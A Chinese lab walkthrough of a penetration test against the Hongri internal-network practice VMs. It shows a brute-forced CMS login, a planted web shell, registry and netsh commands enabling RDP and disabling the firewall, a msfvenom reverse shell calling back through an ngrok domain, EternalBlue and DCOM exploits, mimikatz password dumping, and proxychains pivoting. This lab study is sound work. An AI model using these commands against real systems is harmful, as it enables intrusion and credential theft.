赞
踩
首先配置环境
VMware虚拟机下载就不多赘述了,网上有很多教程,这里主要说明一下靶机拓扑和如何配置虚拟网络的过程。
首先下载包中的VM1为win7,VM2为win2003,VM3为win2008,拓扑图为下图所示:
由于要营造一个内网环境,因此需要将虚拟机与外网隔绝,再VMware中可以通过虚拟机设置中的网络适配器来设置,将其自定义成特定虚拟网络,
对网络连接模式不清楚的小伙伴可以细读一下这篇文章,
写的非常详细且通俗易懂:https://www.cnblogs.com/xuliangxing/p/7027124.html
接下来我们需要找到虚拟网络编辑器,方框内的勾选上然后应用确定。
我这里将VM1设置的是VMnet1(仅主机模式),并且多添加了一块网卡,设置为了NAT模式,目的是让VM1web服务器能够访问外网,这样我们的kali攻击机就能够访问到这台web服务器了。
同样的方式,将VM2和VM3也设置为VMnet1(仅主机模式),这样,VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,这样我们的靶机环境就准备完毕了。
接下来就是手动开启win7的phpstudy(在这里被坑了很久),首先打开win7页面,密码是hongrisec@2019,刚开始可能要你重新改密码,这无关紧要,设置符合条件的密码就行了。然后在c盘下开启phpstudy。
到此为止整个环境算是搭好了,接下来就是开始渗透。
Kali机:192.168.136.133
Win7的对外IP是:192.168.136.153
先用kali扫描该网段
发现只开放一个80端口,登陆
百度一下yxcms的后台登陆页面,顺便百度下、一下关于yxcms的漏洞
https://www.freebuf.com/column/162886.html
打开bp进行爆破
爆破出来的结果是admin,密码是123456.登陆、进入后台
在前台模板中index_index.php进行编辑,插入一句话代码
打开主页,发现成功
接下来用菜刀连接
查看当前用户
查看3389端口是否开启
没有开启,然后输入命令远程开启3389端口。只要对方是外网,执行后方可连接3389终端
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
(REG文件实际上是一种windows操作系统的注册表脚本文件,双击REG文件即可将其中的数据导入到注册表当中。利用REG文件我们可以直接对注册表进行任何修改操作,它对注册表的操作可以不受注册表编辑器被禁用的限制,相对的关闭3389端口命令为
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f)
添加用户
查看添加的用户
用nmap扫描发现3389没有打开,猜测是开启了防火墙
此时思路一般如下:1、反弹一个msf的shell回来,尝试关闭防火墙
2、尝试使用隧道连接3389
首先去ngrok注册,详情https://jingyan.baidu.com/article/b0b63dbf0938c74a49307046.html
在ngrok中添加一条tcp隧道就ok然后了,然后我们就可以去连接目标的3389了(本人没有做这个,而是第一种)
写一个msfvenom的反弹,然后再利用刚刚的菜刀上传上去。
msfvenom -p php/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10173 -f raw
(这里的lhost是在ngrok中注册的域名,端口是远程端口)
接下来开启msf利用反弹获取shell
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.136.133
set lport 5555
在网址上触发
可以看到返回了shell
接下来关闭防火墙,关闭防火墙有两种方法
第一种是刚刚msf反弹回来的输入
run post/windows/manage/enable_rdp
第二种是在菜刀命令终端下输入
netsh advfirewall set allprofiles state off
可以远程连接
开始信息收集
ipconfig /all 查询本机IP段,所在域等
net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user 本机用户列表
net localhroup administrators 本机管理员[通常含有域用户]
net user /domain 查询域用户
net user 用户名 /domain 获取指定用户的账户信息
net user /domain b404 pass 修改域内用户密码,需要管理员权限
net group /domain 查询域里面的工作组
net group 组名 /domain 查询域中的某工作组
net group “domain admins” /domain 查询域管理员列表
net group “domain controllers” /domain 查看域控制器(如果有多台)
net time /domain 判断主域,主域服务器都做时间服务器
ipconfig /all 查询本机IP段,所在域等
查看一下该状态下是什么权限
因为在msf5中getsystem这个命令被删掉了,因此我们需要换一种方法去获得system权限
先对网址进行扫描nmap -sV -p - --script vuln --script-args unsafe 192.168.136.154
(这里因为我上次做实验出现了错误导致重新装win7,所以win7的IP被分配为192.168.136.154,这个问题不会影响接下来的操作)
发现了mb-vuln-ms17-010(永恒之蓝)这个漏洞,发现打开msf然后利用板块use exploit/windows/smb/ms17_010_eternalblue
成功之后查看权限,发现是system权限。
抓取hash
用更加全面一点的抓取,首先要先加载mimikatz,即load mimikatz
mimikatz_command -f samdump::hashes
在本环境中我们是没有办法直接抓取明文的,当然也有办法绕过就是自己上传一个mimitakz使用debug进行明文抓取
我们先把mimitakz(实战中需要免杀处理)上传上去:
可以在菜刀上看到已经上传了
接下来换成shell界面,然后进行明文密码抓取
先进行权限提升privilege::debug,然后使用sekurlsa::logonPasswords
此时我们获得了administrator的明文密码
接下来就是进行内网漫游
首先我们用ipconfig查看网卡下了ip,有两个ip。一个是内网另一个是外网ip
添加内网路由,进行转发
利用以打进的第一层靶机去发现该网段下的IP
for /L %i IN (1,1,254) DO ping -w 2 -n 1 192.168.188.%i(网段可以更改)
然后再输入arp -a
发现第二层主机的IP是192.168.188.129
接下来使用msf的socks功能做一个代理出来,这样我们便可以使用nmap等对其进行简单的信息判断
然后在/etc/proxychains.conf中
利用代理功能对第二层主机进行扫描
Proxychains nmap -T4 -A -v 192.168.188.129
大致找到第二层的靶机开放的端口
通过auxiliary/scanner/smb/smb_login对445端口进行爆破;根据第一层的靶机得到的密码和账号,粗略的弄一个密码本。设置好该模块的参数然后exploit
得到了账户和密码administrator、hongrisec@2019。
但是利用ms17-010打shell总是出错,因此我们换一个思路,看一下还开放什么端口,有一个135端口。百度一下135的端口漏洞,原来是RPC(远程过程调用)。然后我们利用板块use exploit/windows/dcerpc/ms03_026_dcom
此时需要注意的一点是,因为我们开启了代理,所以要用正向的shell。返回shell
然后就重复win7的操作上传minikatz、抓明文等操作。扫描第三个靶机
接下来可以根据相对应的办法进行入侵
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。